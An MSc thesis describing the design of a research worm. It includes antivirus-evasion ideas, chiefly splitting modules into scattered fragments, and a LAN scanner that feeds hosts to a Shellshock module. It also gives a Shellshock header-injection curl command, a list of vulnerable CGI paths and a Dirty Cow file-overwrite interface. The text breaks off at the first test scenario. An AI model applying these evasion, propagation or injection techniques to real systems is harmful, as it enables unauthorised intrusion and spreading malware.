UNIVERSITY OF KENT

MSC COMPUTER SECURITY

MSC PROJECT

Modular Worm Technology

Author:
Thibaut Broggi
thtb2@kent.ac.uk, 16909752

Supervisor:
Dr. Carlos Perez Delgado

12th September 2017

8,600 words

Acknowledgements

I would like to thank my supervisor, Dr. Perez Delgado Carlos, who helped me throughout this project, reviewing my work during our weekly meetings. I also thank Arthur Poulet which whom I made this project, and who also wrote a paper on the same subject.

Abstract

Through the last decades, Internet has become more and more important in our daily life. More and more devices are connected together, sometimes in despite of the security. Indeed, we saw a lot of viruses emerging, sometimes very dangerouse, which exploited software vulnerabilities to execute malicious code. To improve the comprehension of a worm behaviour, we decided to build one, using documented and patched vulnerabilities. We made this worm a modular one, meaning that it can embed several exploits, each one set apart in modules. This worm can be used as a generic tool to help analysts to understand how worms work better.

CONTENTS

List of Figures

CHAPTER 1

INTRODUCTION

This chapter briefly presents the project: what are our goals, what is the scope of the project and the tools we used to build it.

1.1 PROJECT OUTLINE

1.1.1 MOTIVATIONS FOR THE PROJECT

This paper presents a computer worm we built. Rather than using reverse-engineering to try to understand the behaviour of an existing worm, we chose to build our own. This led us to have the same reasoning as a hacker: we asked ourselves the same questions, we went through the same situations, and the solutions that came out of this reflexion could be used in the future to prevent ourselves against new treats.

Making a worm that used modules was one of our main goals, which allowed us to add as many exploits as we wanted. The modules could be used together to make complex attacks, which allow us to have a worm able to do reproduce very different attack scenarios. This modular architecture can be used to simulate the behaviour of other worms, and analysts can use it as a regulated penetration tool.

1.1.2 SCOPE OF THE PROJECT

When building a computer worm that does not have to be out of control, we need to take some measures to avoid uncontrolled spread. That's why we put some limits on the modules we decided to implement. Indeed, we did not write any sandbox evasion module, which can be very dangerous if a malicious person try to use it. We also chose to not use any strong or undocumented obfuscation mechanisms. We did not implement any zero-day for the same reasons.

The exploits we developed are well known and have already been patched. They are only provided as à Proof-of-Concept (PoC) for the whole worm, and to serve as a basis for someone who may want to use our work in the future.

1.2 Around the project

1.2.1 Tools used

We wrote the worm and its modules with the C language, with the standard **gnu99**, so we chose to compile it with the compiler GCC 7.1. To do our tests, we used the virtualization software VirtualBox 5.11 and a raspberry pi for tests that didn't work within a virtual machine. Some parts of the project have been written in bash 4 and ruby 2.

1.2.2 Authors

We are two students at the University of Kent (Canterbury, UK), and we are working on this project for the Master of System Security in Computer Science for the 2016-2017 year. I'm Thibaut Broggi, and my colleague is Arthur Poulet. We are both French, and we are studying at Epitech, in Paris, FR.

1.3 Overview

This paper is divided into 6 parts.

Chapter 1: Introduction This is the current chapter, which presents the project's scope and the paper.

Chapter 2: Background and state of the art This is the literature review, which contains a review of the concepts of computer security, especially about malware and worms.

Chapter 3: Modular worm design This chapter explains the main choices we made about the architecture of our modular worm.

Chapter 4: Modular worm implementation This chapter contains information about how we implemented our worm in detail, module by module.

Chapter 5: Testing This chapter contains details about the scenarios we made to test our worm, their results and how to reproduce them.

Chapter 6: Conclusion The conclusion contains a summary of the project's achievement, and future work about it.

CHAPTER 2

BACKGROUND AND STATE OF THE ART

2.1 WORMS AND COMPUTER SECURITY HISTORY

This chapter presents the background of the project. It makes a short overview of the history of computer security, presents some well known viruses, and shows countermeasures to prevents being infected.

2.1.1 HISTORY OF MALWARE

2.1.1.1 FIRST VIRUSES AND WORMS

The first computer worm was called “Creeper” and was written by Bob Thomas in 1971. It was a software that replicated itself into other computers by using the Advanced Research Projects Agency Network (ARPANET) network. It didn’t caused any damage, as it only displayed a message on the infected computer. It has been removed by a similar program named “Reaper” (Chen and marc Robert; 2004; Muse et al.; 2005).

Several worms have been made during the first years of the Internet. They often used the Simple Mail Transfer Protocol (SMTP) protocol to access other computers, and they relied on the trust of the user to be executed. That trust is still today a major issue in the domain of computer security.

2.1.1.2 ECONOMICAL ISSUES

Malware can cause a lot damage in a company, especially economical ones. Indeed, once an attacker infected all the computers of a company, it can do whatever he want with the data. This can be a destruction, resulting into a huge economical loss or a theft, which can be very annoying if it imply sensible data, like user passwords or research data. It the malware is a ransomware, it can also encrypt those sensible data and ask for money instead, and threaten to leak those data. Some structure are more sensitive than others, indeed, if a malware can compromise the database of an hospital, the consequences would be catastrophic.

Another indirect economical issue is the loss of trust of the customers of a compromised company. A famous example is Yahoo, which users information database has been leaked

several times during the past years. Those leaks were famous by their amplitude, and the sensibility of the leaked data. Indeed, 1 billion accounts were compromised in 2013, and 500 million in 2014, which contained personal information like hashed passwords, security questions and answers, email addresses and telephone numbers (Yahoo!; 2016a,b).

2.1.1.3 Cyber Warfare

Nowadays, every developed country rely on infrastructures that are using computers to work. Since every computer is vulnerable, especially if an attacker has a physical access to it, they became an important target for intelligence agencies. Indeed, a well written malware can infect and disturb almost every infrastructure in a target country, like hospitals, or power plants. A good example of this is the Stuxnet worm, that infected nuclear plants in Iran (Anderson; 2012). This new way of making a war will probably become more and more common in the next years.

2.1.2 Classification and definitions

2.1.2.1 Classification

Malicious software, also referred to as *malware*, includes a large variety of different software, with a lot of different technical features. Some of the most common examples of malware are:

Virus A virus is a piece of software or program that replicates itself by modifying other computer software, and inserting its own code in it (Stallings; 2012).

Worm A worm is a standalone program that can replicate itself and infect other computers, typically over the network (Grichenko; 2001).

Rootkit A rootkit is a software that is installed in a restricted area on the computer, which make it very difficult to remove. It can be executed during the boot process, making it very difficult for the Operating System (OS) to detect it. Some rootkits are installed into firmware, making them impossible to remove without specialized equipment (Rao and Selvakumar; 2014).

Spyware A spyware is a type of malware that gather information about a person without its consent. It is typically used with an adware, which add ads to the infected computer. Those information can also be sold to a third party (Federal Trade Commision; 2005).

Trojan A Trojan, or Trojan horse, is a software that is installed without the consent of the user, by misleading him. For example, it can be a software that is installed at the same time as a legitimate software, or it can be hidden in an email that look unsuspicious (Landwehr et al.; 1993).

Since some of those definitions are very similar, it can be very difficult to classify a given malware. Furthermore, some of them are a combination of several of them. For example, a lot of trojans are also spyware. This classification only defines the main technical features of a malware, and not their behaviour. According to this classification, a ransomware using a network vulnerability to replicate itself will be classified as a *worm*.

2.1.2.2 WELL KNOWN WORMS

MORRIS WORM The Morris worm, named after its creator, Robert Tappan Morris, is one of the first worms distributed via the Internet. Released in 1988, its goal was to be an harmless software that intended to measure the size of the Internet. However, some devices were infected several times and the worm unintentionally slowed down the infected computers, like would a fork bomb do (Weaver; 2001).

ILOVEYOU It was a worm that infected ten of millions of Windows computers in 2000. It was carrying an attachment that contained a Visual Basic script that looked like a genuine text file. Once opened, the worm scanned all the email addresses contained into Microsoft Outlook and sent them an email that contains the worm. Since most the people who received the email knew the sender, they trusted it and opened the attachment. In addition to the replication, the worm destroyed random files on the infected machine (Chien; 2000).

SQL SLAMMER It was a worm that infected Windows servers by using an exploit in SQL Server in 2003. One of its principal technical features was the fact that it didn't check if the target computer was running an SQL Sever. Instead, it tried to infect every possible device directly, making it faster to spread (Ellis; 2003). It infected 75,000 servers within ten minutes, resulting into a general slowed down Internet traffic.

STUXNET It is a famous worm which goal was to infect and cause damage to the Iranian nuclear program. It has been discovered in 2010 and it used zero-day flaws in Windows operating systems to spread. In 2012, it has been stated that this worm was a cyber-weapon developed by both the USA and Israel (Anderson; 2012).

MIRAI It is a worm that turned infected devices into zombies, and used them to perform Distributed Denial of Service (DDoS) attacks (McDowell; 2013). Discovered in 2016, it was one of the first malware that targeted Internet of Things (IoT) devices with default configuration. Indeed, a lot of manufacturers are building connected devices with identical passwords, remote connection enabled by default and no obligation for the user to change those settings. Since most of the IoT devices available at the moment are running under the GNU/Linux operating system, it is the only one that supported Mirai (Chirgwin; 2017). To infect as many devices as possible, the worm was compiled for several architectures: arm, arm7, i686, m68k, mips, mipsel, powerpc, sh4 and sparc. The source code of Mirai

has been released under the GPLv3 licensed in October 2016 on GitHub (*Mirai source code*; 2016).

WANNACRY WannaCry was a worm that spread in May 2017, and acted as a ransomware. It used an exploit into the SMB protocol called "EternalBlue" to infect Windows devices. This worm has infected about 230,000 computers in 150 countries (Ehrenfeld; 2017). This attack has been made famous for its amplitude, but also because the NSA knew about the exploit and did not reported it to Microsoft, preventing them from fixing it (Wong and Solon; 2017).

2.2 WORM COUNTERMEASURES

Preventing from being compromised by a worm, or any other kind of malware, can be achieved in two ways: by preventing it from infecting a computer, or by detecting it once it is present on the computer, with the help of an antivirus.

2.2.1 PROACTIVE DEFENSES

FIREWALL Every computer connected to a network can be accessed by any computer that know its IP address, and any port can be used to communicate with it. A firewall is a software that prevent this behaviour, by handling network connections and deciding which one is allowed or not. The allowed connections are defined by a set of rules, which can be modified by the user. A firewall often rely on the ports to decide if the connection has to be blocked or not (Boudriga; 2010).

REDUCED PERMISSION Nowadays, every operating system is multi-user. That means each user on a computer has a password to access it, and has access to a limited amount of files and commands. When dealing with a computer with several users (remote servers can have hundreds of users), it is important to limit the permissions of each user as much as possible. If a user doesn't need to do something, he shouldn't have the permission to do so. On a networked device, it is even more important: if a user that have too much permissions is compromised, the whole system might be compromised.

2.2.2 REACTIVE DEFENSES: ANTIVIRUS

An antivirus is a software which goal is to detect malware and to remove them (Nachenberg; 1997). It can perform a scan of the whole system to find software that look malicious, and check every new software, by looking at the last downloaded files or the content of an USB key when one is plugged in. An antivirus can detect if a software is malicious by two means: static analysis and dynamic analysis.

2.2.2.1 STATIC ANALYSIS

The most common method to detect malware is via static analysis. It consists into checking each file on the file system by looking for patterns that are used by malware, but not by benign files. This method can prevent the execution of a newly detected program

if it matches a known pattern. Those patterns are called signatures, and consists into a derivation of a known malware. This signature must not be too generic, to avoid false-positive, but it must also not be too specific. Indeed, two versions of a same malware with slight differences have to match the same pattern and be flagged as malicious by the antivirus (King; 2017).

The major flaw in this method is that it requires to know the pattern of every existing malware to be efficient. If a new kind of virus appear, its signature will be unknown and an antivirus that rely only on static analysis will be helpless.

2.2.2.2 Dynamic analysis

A dynamic analysis consist into trying to detect malicious software by its behaviour rather than with the help of a pattern. Once a software is executed, the only way to interact with its environment is by using system calls. These system calls can be traced and logged, with the help of tools like *ptrace*. A graph of the system calls can be generated, and then compared with known malicious behaviour (King; 2017).

However, this method has some weaknesses: if a malware is programmed to execute its payload at a given time, the antivirus will not be able to prevent it. Some malware also detect if an analysis is being performed and don't do any malicious action during the analysis.

The next chapter presents the features we wanted our worm to have, and the design choices we made to make them.

CHAPTER 3

MODULAR WORM DESIGN

This chapter presents the features of the worm we want to build, and how we plan to design and implement them. It presents the choices we made, regarding of the modular design of our worm, and the stealthiness requirements of a worm.

3.1 MODULARITY

Grichenko (2001) defines a modular worm as "a worm consisting of body and some theoretically unlimited number of optional parts (such as different exploits and payloads) that could be transferred from worm to worm." We used this definition as the main design choice for our worm. Indeed, each feature of the worm, even harmless ones like a database, is a standalone module. This make the core (referred as *body* in Grichenko's definition) as small as possible, and so the whole worm is smaller, since we only load the modules that we need.

3.1.1 SCOPE OF A MODULE

Every module in our worm correspond to a specific feature, and does nothing more than than. There are divided into two categories: the utilities and the exploits. The utilities are generic modules that are used by other ones to operate, like the database or the network one. A utility module should not contain any malicious code, to limit the number of modules that can be flagged as malevolent by a potential antivirus. On the other hand, an exploit module is a module that contain some malicious code. It can be a privilege escalation, an exploit of a vulnerability in a given software, a brute-force attack, etc. It must be short and rely on the utility modules to execute any benign code.

This separation results into several advantages:

Stealthiness A smaller module is less likely to be detected by an antivirus that rely on static analysis.

Structure Writing a module is easier if it is small and has a limited scope.

Extensibility Adding a new feature only consists into adding a new module that rely on the ones that already exist. It makes it easier to write a new module since it has a defined scope and all its needs are provided by the existing utility modules.

3.1.2 COMMUNICATION BETWEEN MODULES

Since a module only has a limited set of operations defined by its scope, it is only useful in conjunction with other modules. That's why modules need to communicate with each other. This communication is made possible by an Application Programming Interface (API), provided by the worm. In the first place this API was provided by the core, but we moved it into an utility module, in order to make the core smaller, and the worm more modular.

The main mechanisms involved by this communication module are very simple: each module has a queue of available messages, in which it is the only one that can read in it. On the other hand, any module can write anything in the queue of another plugin. The communication module manage all the memory allocation involved by this mechanism. The data is sent as an opaque Binary Large Object (BLOB) of data by the sender module, which is easy to interpret by the receiver module with a C "cast" operation. The memory management of this mechanism is managed by the communication plugin, which delete each message after the execution of the module that read it.

The messages can be sent either in an asynchronous or in a synchronous way:

Asynchronous The sender module send the message, and the receiver module will be able to read it the next time it will be executed. It is useful when a message does not need an instant answer, when it asks to execute an exploit for example.

Synchronous The sender module send the message, and the receiver module will be ran immediately to process the message instantly. It can be useful if a module need to retrieve a variable stored by the database plugin without having to wait for its next execution for example. Since modules can call themselves recursively with this sending method, there is a recursion limit of 10. This limit is used to avoid infinite recursion which could cause a crash of the worm (Van der Linden; 1994).

We first chose to only implement the asynchronous way, to have all the modules executed in a given order, and to make the memory management simplier. But later we found out that a synchronous way of communication was needed when we designed the database plugin, which need an instant response when we want to retrieve data from the database.

If a module is updated and its API is modified, it can lead to breaking changes. To avoid that, we decided to add a versioning system. Each module has a version number, inspired by Semantic Versioning, written as $X.Y$, where X is the major version and Y is the minor version (Preston-Werner; 2013). The major version number changes when a breaking change in the API is implied, while the minor version number changes when a bug is fixed or a feature is added. Each time a module send a message, it has to specify the plugin id and its version number. If the version number specified is not compatible with the loaded one, the message will be discarded.

3.1.3 MERGING CODES

The idea of splitting a software into small pieces of code is not new. Indeed, every software is divided into a lot of functions that depends on other functions (Kaynar; 1972). On the other hand, a modular worm is divided into modules that depends on other modules.

Another concept of our modular worm is that it is defined by the modules it uses. Indeed, modules can have a different behaviour depending on the available modules. The most obvious example is the case where a module is not available, which mean it will not be called, thus it modify the behaviour of the module that depend on it. But often, an attack requires several plugins to operate: if an attack consists into exploiting a network vulnerability in a given software, it will need several modules: the network one, the network discovery one, and the exploit one. If only one of those modules is unavailable, the module that manage the attack should not do anything at all.

3.1.4 MULTI-MODALITY

Since the worm is designed in a modular way, it is, by nature, multi-modal. It means that the worm is able to use several channels to do an operation in different ways, like communicating, sending data, or replicating (Ellis; 2003). It is very common to be able to write a module A and a module B that do similar things, but in a different way. In most of the cases, a module C can be written as an abstraction of both the modules A and B, and provide an unique API to other modules. Every module that require either the module A or the module B can use the module C instead, which is useful if the used channel may change in the future.

EXAMPLE A replication module need to write files. It can do it in several ways: by simply writing a file on the local file system (by using the system call `open()`), by writing it on a USB key (which requires to detect it and to mount it), or by writing it into a remote location (using a network protocol, like File Transfer Protocol (FTP)). One module per channel can be written, and a fourth one will be the API that abstract all of those modules. Any module that requires to write a file, whatever the way, can use this abstraction module to do so.

3.2 PROTECTION MECHANISMS

A worm is, by definition, an unwanted software on a computer. It means that if one of the people that use the computer find it, the worm would be deleted quickly. The main concern for the worm is to be as undetectable as possible, to avoid such a deletion.

We can never know where our worm is installed. Most of the time, it will be on a personal computer, or on a server. But it can also be be sand boxed by an analyst that want to understand the behaviour of the worm, and analyse it in a way that it will allow antivirus to detect it.

Since being as stealthy as possible is a critical need for our worm, this section presents each mechanism involved to prevent detection, either by design, or by writing modules dedicated to this task.

3.2.1 STEALTHINESS

A software that uses a lot of resources on a computer, like RAM, I/O or CPU, is more likely to catch attention, especially if a human is looking at the currently used resources. It is the main reason why our worm need to be as stealth as possible: to avoid being detected. So we decided to make our worm very small on RAM, and to limit its CPU load. It is one of the mains reasons why we decided to write the worm with the C language, which is low-level and compiled, and therefore, smaller and faster once executed. The core of the worm is tiny, and the modules tends to be so.

An antivirus that analyse every file present on the computer might flag one of our modules as malicious, and remove it. It is due to the fact that each module is represented by a file on the computer. Since the core of the worm is tiny, harmless and generic (it only loads the modules, like any software that rely on plugins do), it will never be removed by an antivirus.

Furthermore, antivirus may remove several modules, but not all of them. Indeed, the utility modules, which are harmless by definition, won't look suspicious, so they won't be automatically removed. Some exploit modules may also remain after the antivirus analysis, making the worm still able to work in a limited way. A "recovery" feature could be implemented to restore the deleted modules. Indeed, it is possible to write a module that will regularly ask to other worms present on other computers if it has more modules than the one asking for it.

3.2.2 OBFUSCATION

Even if we designed the worm to be is as stealth as possible, an analysis to find patterns in it is still possible. Indeed, all our modules are very similar: they are using the same API, and they provide very similar API to the other modules. A good way to avoid patterns to be detected in our modules is by obfuscating them. We chose to only obfuscate the modules on the file system, which mean they are not easily readable before being loaded, but there is no protection once they are loaded in the memory of the computer. There are several ways of doing that, both with advantages and inconvenients:

Standard encryption If the modules are stored encrypted with a well known encryption algorithm, an analysis will be way harder, since it needs the file to be decrypted first. If the encryption key is not stored in clear in the decryption module, and if the encryption method used is robust enough, it will be nearly impossible for an analyst to decrypt it, making a static analysis of the worm way harder. However, it is very likely that an antivirus will detect that those modules have been encrypted, and it might draws attention on them. Nevertheless, the encryption algorithm must be robust enough to resist an antivirus decryption attempt. Indeed, encrypting

the worm with a xor operation can be easily bypassed by an antivirus, making the modules most likely to be detected and analysed (King; 2017).

Non standard encryption If we try to build our own encryption method, it will be less likely to be detected by antivirus, since it is a method that has never been seen before. However, an homemade encryption algorithm would be very weak, and an advanced analysis might broke it easily.

Partition the files Like using a non standard encryption method, an homemade partition algorithm is not detectable by an antivirus. The main advantage of this method is that the modules parts can be randomly distributed over the file system, making an analysis harder. The parts should be different in size to prevent the discovery of a pattern. Furthermore, useless random parts can be added throughout the file system to confuse an antivirus.

The fact that all of those methods only imply the modification the files leads to several drawbacks. Indeed, since only the files are obfuscated, those methods does not protect the worm against a dynamic analysis at all. Another issue is that, once loaded by the worm, the modules are not protected in the RAM, which might be analysed if the worm is ran in a sandbox (Goldberg et al.; 1996). However, an exploit could be added to try to detect such a sandbox, and even escape it.

From all those possibilities, we chose to the third one, and we divided our modules into several pieces of files distributed over the file system. To comply with the modular aspect of our worm, this division is done in a specific module.

This chapter explained which features we wanted to develop, and the next one will presents how we implemented each of those features.

CHAPTER 4

MODULAR WORM IMPLEMENTATION

This chapter shows in detail how we decided to implement our worm. Each section presents a module, its features, its structure and its API.

4.1 CORE

4.1.1 CORE LOOP

Since all the features of the worm are defined within modules, the core is very limited in terms of features. Its main purpose is to load the modules and to provide them with an API. This API consists only into one function, which load modules. The rest of the API, used by the modules to communicate between themselves, and described in the next section, was provided by the core, but we moved it into a special module in order to make the core smaller. This special module is the first module loaded by the core, since the other modules are requiring it to work.

Once this module is loaded, the core loads another special plugin, the module discovery module, which will look for the other modules on the file system. When those two modules are loaded, the worm is able to load any module it wants. Then, the role of the core is to execute each module within an infinite loop.

Since the core is only used as a link between the modules, it is even possible to reduce its size. Indeed, we can move the module load part into another special module, like we did with the communication module. By doing so, we can theorically infect any software that rely on shared objects.

4.1.2 COMMUNICATION API

The modules are concurrent executable codes provided by the shared objects, which mean there are no modules executed in parallel. Instead, they are executed in a given order, and a module that want to communicate with another one will have several ways to do it:

Asynchronous The module writes a message in the message queue of the module it wants to communicate with thanks to the `api_send_message()` API function. The

destination module will be able to read it on its next execution, and it will have to use the function `api_receive_message()` to do so.

Synchronous If a module wants to send a message that need to be treated immediately, it can use the function `api_send_message_instant()` instead. This function also writes a message in the queue of the destination module, but it also calls the function `run_instant` of the destination module, to let it react to the message it just received. Since this function is optional, the sender module will get an error if this function is not present in the destination module. The receiver module can read the message with the function `api_receive_message()`, like if the message was sent asynchronously. Since the execution of the sender module is halted and will be resumed just after the execution of the receiver module, an answer can be sent with the function `api_send_message()`. To avoid stack overflows, an arbitrary limit of 10 consecutive uses of `api_send_message_instant()` has been added.

Another function is available via this API: it is the function `api_clear_read_messages()`, which can remove all the read messages from the queue. This function is typically used by the core after each execution of a module, and its only purpose is to free memory used by old messages.

A message is represented in memory with a C structure (Fig 4.1.1) that is filled by the sender plugin. It also has to specify the id of the destination plugin and its version number.

```
typedef struct {
  api_plugin_t plugin;
  void *content;
  size_t content_size;
} api_plugin_t;
```

Figure 4.1.1: C structure in which messages are stored

4.1.3 Module symbols

Each module has to define at least two symbols: the first one is named `version` and is represents the version number of the module. It contains the id of the plugin, and its major and minor version numbers, used to manage compatibility between modules. The second mandatory symbol is `run`, which contains the executable code of the module. There is also an optional `run_instant` symbol, which consists into a piece of code that is executed when another module is trying to communicate with it in a synchronous way.

Those symbols are loaded by the core thanks to the functions `dlopen()` and `dlsym()`, which allow to easily open shared objects files and find symbols in it.

There is an exception, which is the communication module. Indeed, it does not contain the `run` symbol, but instead it provides the `api_send_message`, `api_send_message_instant`,

`api_receive_message` and `api_clear_read_messages` symbols, used by the other modules do communicate. Since all of the other modules rely on this special module, it is loaded first by the core.

4.2 NETWORK MODULE

4.2.1 FEATURES

We wanted our worm to be able to communicate with other worms or a commander machine, so we designed a network protocol and implemented it in a module. The module is a utility module that has a limited set of features: it can only send and receive messages. The messages are sent from a module on the local worm to another module running on another worm. This module can be used by other modules to make worm updates, control one of several remote worms at a time, or even gauge the number of infected devices.

4.2.2 PROTOCOL

The network protocol is described by the C structure (Fig 4.2.1) sent through the network, thanks to the User Datagram Protocol (UDP) protocol. This structure define the header of the datagram, and the body is sent right after. The body length has been fixed to 65000, in order to avoid our datagrams being split over the network.

```
typedef struct {
  magic_number_t magic_number;
  unsigned packet_id: 32;
  unsigned TTL: 8;
  unsigned destination_host: 32;
  api_plugin_t destination_plugin;
  unsigned body_length: 16;
} p3_msg_t;
```

Figure 4.2.1: C structure of a message throught the network

magic_number It is a unique identifier used to identify the worm packets. If a received packet does not contain the correct magic number, it is discarded by the network module.

packet_id Currently unused, this field could be used in the future to send datagram larger than 65000. Two packets with the same packet_id would be merged into one bigger one by the network module upon reception.

TTL Currently unused, it could be used to forward packets in a distributed communication system to avoid packages from being forwarded between hosts indefinitely.

destination_host Currently unused, it represents the host that should receive the message. Like the TTL field, It would be useful in a distributed communication system.

destination_plugin The plugin that will to receive the packet.

body_length The length of the packet's body, in bytes.

4.3 Database module

4.3.1 Features

The database module is used to store data on the file system, in order to re-use them later. Three operation are available: `ADD`, `GET` and `DELETE`. An already existing variable can be erased with the `ADD` command. There is a pagination system that allow each module to have a reserved page on the database.

4.3.2 Structure

The database module store data in a file as a queue of metadata and data. The data is the content of the variable while the medata contains the name of the variable, its size and its author. We first tried to represent it as a complex structure like the Executable and Linkable Format (ELF) one but we chose to make it simplier when we implemented it (Committee et al.; 1995).

This module uses two structures: the structure `p6_msg_query_t` (Fig 4.3.1), used to send a query to the database, and the structure `p6_msg_response_t` (Fig 4.3.2) that is the response to the query.

```
typedef struct {
  uint8_t type;
  uint32_t name;
  void *content;
  uint32_t length;
} p6_query_t;
```

Example of payload that write a file on the

Figure 4.3.1: C structure of a database query

type It contains the type of the query, which can be `ADD`, `DELETE` or `GET`

name It is a numeric representation of the name of the variable to interact with.

content The content of the variable on a `ADD` request.

content The length of the variable content on a `ADD` request.

```
typedef struct {
  uint8_t err_code;
  void *content;
  uint32_t length;
} p6_response_t;
```

Figure 4.3.2: C structure of a database response

err_code The result status of the query (`OK`, `ERROR` or `NOT_FOUND`)

content The content of the variable on a `GET` request.

content The length of the variable content on a `GET` request.

4.3.3 Interface

The database module provide several macros to make its use easier for other modules. Those macros add a pagination system: the database is divided into many pages of 1000 variables. The 256 first pages are private, and only usable by the module that has the right id, while the other ones are freely available to every module. Those macros are:

P6_DATABASE_WRITE(res, page, name, value, length) Adds or update the variable `name` on the page `page`. The response is stored in the variable `res`.

P6_DATABASE_GET(res, page, name) Retrieves the content of the variable `name` and puts it into the `res` variable.

P6_DATABASE_DELETE(res, page, name) Removes the variable `name` from the page `page`.

4.4 File system module

4.4.1 Features

The main goal of the file system module is to provide an API to allow access to file system operations in an unified way, similar to the Portable Operating System Interface (POSIX) functions, but with our own functions. We designed the API to make it easily extensible in case we wanted to add other functions in the future. This module should also provide an API identical for all operating systems.

4.4.2 Interface

This module API contains only one macro, that takes at least three arguments. The first one is a variable that will store the result of the operation while the second one is a variable that will contain the result of the system call used. The third argument is the name of the system call to use, and all the following arguments are the system call parameters. At the moment, only the functions `fopen` and `fclose` are available.

4.5 Modules discovery module

4.5.1 Features

The goal of the modules discovery module is to find modules on the file system and to load them in the worm. Since we decided to split modules in several fragments on the file system, this module purpose is also to reassemble them and make it understandable for the worm. It can search for all the modules fragments in a given directory, recursively or not.

4.5.2 Structure

The modules are divided into 4 fragments. Each fragment contains a set of metadata that contains the id of the plugin, the number of the fragment, and a checksum that is used to verify that the fragment is valid. The modules discovery module will use those metadata to rebuild modules and load them.

4.5.3 Implementation

The module keeps a list of all the fragments and modules it loaded. At the first start, it will recursively search for all the module fragments it can find in the current directory. For each found file, it will check if it a valid fragment, thanks to the metadata described above. After each fragment load, the module will check if the three others fragments of this module are available. If so, it will build a shared memory object with the `shm_open()` system call and fill it with the 4 fragments. On UNIX systems, this virtual file can be accessed with the path `/proc/self/fd/XXX`, and this path will be used by the core to load the module.

4.6 Network scanner module

4.6.1 Features

The purpose of the network scanner module is finding targets for attacks, and retrieve information about them. Currently, it only scan the Local Area Network (LAN) and search for active hosts with an available Transmission Control Protocol (TCP) port 80. If so, it ask the shellshock module to attack it.

4.6.2 Implementation

The module first use the UNIX command `ip address` to retrieve informations about the LAN. Thanks to them, it can identify the first ip and the last ip of the network. Then it scans all of the ips between those two ones.

4.7 Exploit: ShellShock

4.7.1 Attack description

Shellshock is a security bug in bash discovered in September 2014, and has CVE identifier CVE-2014-6271 (*CVE-2014-6271*; 2014). This bug can be used to run exploits when other software write untrusted data in the shell environment. Apache HTTPD is a famous example of software that do that, and that's why we decided to exploit it.

When a Hypertext Transfer Protocol (HTTP) client send a HTTP request to the HTTP server, it specify headers, which are a list of keys associated with values, and are used by the HTTP server to know how to handle the request. Apache HTTPD is a HTTP server that handle requests and use modules to process them. To communicate with those modules, Apache HTTPD writes the HTTP headers into environment variables. But bash executes

the content of the environment variables. Since the content of the HTTP headers can not be trusted, they should be treated before being written into bash environment.

```
curl http://192.168.0.125/cgi-bin/test-cgi -H "User-Agent: () { :; };
    echo \"ShellShockHeader: Vulnerable\"" -I
```

```
HTTP/1.1 200 OK
Date:  Thu, 08 Jun 2017 17:06:02 GMT
Server:  Apache/2.4.1 (Unix)
ShellShockHeader:  Vulnerable
Content-Type:  text/plain; charset=iso-8859-1
```

Figure 4.7.1: Example of ShellShock exploit that modify the response header

This bug can be used to run arbitrary shell code, allowing an attacker to run whatever command he wants on the target machine. Figure 4.7.1 shows how this exploit can be used with the `curl` command to modify the response of the server, and thus check if the server is vulnerable to Shellshock.

4.7.2 Features

This module can use this bug to make the target execute any shell code. It can check if a given domain name or a URL is vulnerable. If so, a payload can be sent to the server, making the worm propagate for example.

4.7.3 Structure

The module can only handle one attack at a time, since it stores all the configuration about it in static variables. The module stores the state of the attack in one of those variables, and it is used to handle the API of the module.

4.7.4 Interface

This module contains 4 macros used to control the attack:

P4_SHELLSHOCK_SEND_DOMAIN(domain) Sets the domaine that will be attacked using one of the following vulnerable routes: `/`, `/cgi-bin/printenv`, `/cgi-bin/test-cgi`, `/cgi-bin/test-cgi.cgi`, `/cgi-bin/test.cgi`, `/cgi-mod/index.cgi`, `/cgi-mode/index`, `/cgi-sys/entropysearch.cgi` or `/cgi-sys/defaultwebpage.cgi`.

P4_SHELLSHOCK_SEND_URL(url) Sets the exact URL to attack, overwriting the domain.

P4_SHELLSHOCK_SEND_PAYLOAD(payload, size) Defines the payload to send. It is a shell script that will be executed on the target.

P4_SHELLSHOCK_SEND_EXECUTE() Orders to launch the attack with the configuration we set with the macros above.

4.8 Exploit: Dirty Cow

4.8.1 Attack description

Dirty cow is an exploit that use a bug in the Linux kernel: a race condition that happens when using the system call `madvise` and the copy-on-write kernel mechanism. It can be used to modify any file that one can read one, regardless of the owner of the file. It can be used to modify a file owned by the root user. Discovered in December 2016, this exploit depends on the processor architecture. It has the CVE identifier CVE-2016-5195 (*CVE-2016-5195*; 2016).

4.8.2 Features

The implementation we made of this exploit is very simple: it can modify a read-only file regardless of the permissions, and write a string in it at a given offset. The data at this offset are overwritten, so there must be enough place in the file for the whole string we want to write.

4.8.3 Interface

The API provides only the macro `P12_FILE_EDIT_OFFSET(res, filename, offset, replace, replace_size)`, where `res` is a variable that contains the result of the function, `filename` is the name of the file we want to modify, `offset` is the offset where we will write in the file, `replace` is the string we will write and `replace_size` is the length of that string.

In the next chapter we will present the tests we made to ensure that our worm work as intended.

CHAPTER 5

TESTING

This chapter presents the tests we made for the worm, with an emphasis on the exploits.

5.1 TESTING ENVIRONMENT

Since the worm is a malicious software able to replicate itself over the network, it should not be launched without being isolated from the rest of the world. Since we did not design any sandbox evasion system, it it safe to test it by using virtual machines connected together with a virtual network disconnected from the Internet. We chose to use the virtualisation software VirtualBox 5.11.

The whole worm is built thanks to a Makefile, which build the core, the modules and then split them. The core will load all the modules present in its directory. To start a test, the core and all the required modules must be put in the same directory, and then the core must be executed. Since the behaviour of the worm depends on the modules it loads, no heavy modification of the worm code will be involved.

5.2 SHELLSHOCK ATTACK ON APACHE HTTPD AND BASH

5.2.1 SCOPE OF THE TEST

Since a working worm rely heavily on the network, the first test's goal is to verify that the worm can communicate with another distant machine. This test presents three scenarios with slight differences. They all involve the Shellshock module, and they aim to prove that it can be exploited using several different configurations. This test only requires three modules: the `shellshock` module, which handles the exploit, the `shellshock_command` module, which run the chosen scenario and configure the shellshock module, and the `network` module, which handles non hard-coded operations.

5.2.2 REQUIREMENTS

This test requires two virtual machines that must be part of the same virtual network, and able to communicate. To ease the development of this test, we named our two machines with colour names: the red machine is the one the worm is running on, while the blue machine is the target. The red machine must know the IP address of the blue

machine . The red machine has the IP `10.13.13.101` while the blue machine has the IP `10.13.13.102`.

The blue machine require having Bash 4.0 installed and Apache HTTPD running. The server must have the module cgi_mod enabled and a script executable by bash, like `printenv`. The code for this test is available on the git repository of the project, and has the tag `test-1`. It is possible to access it with the command `git checkout test-1`.

5.2.3 Scenario 1: Defined target and attacker

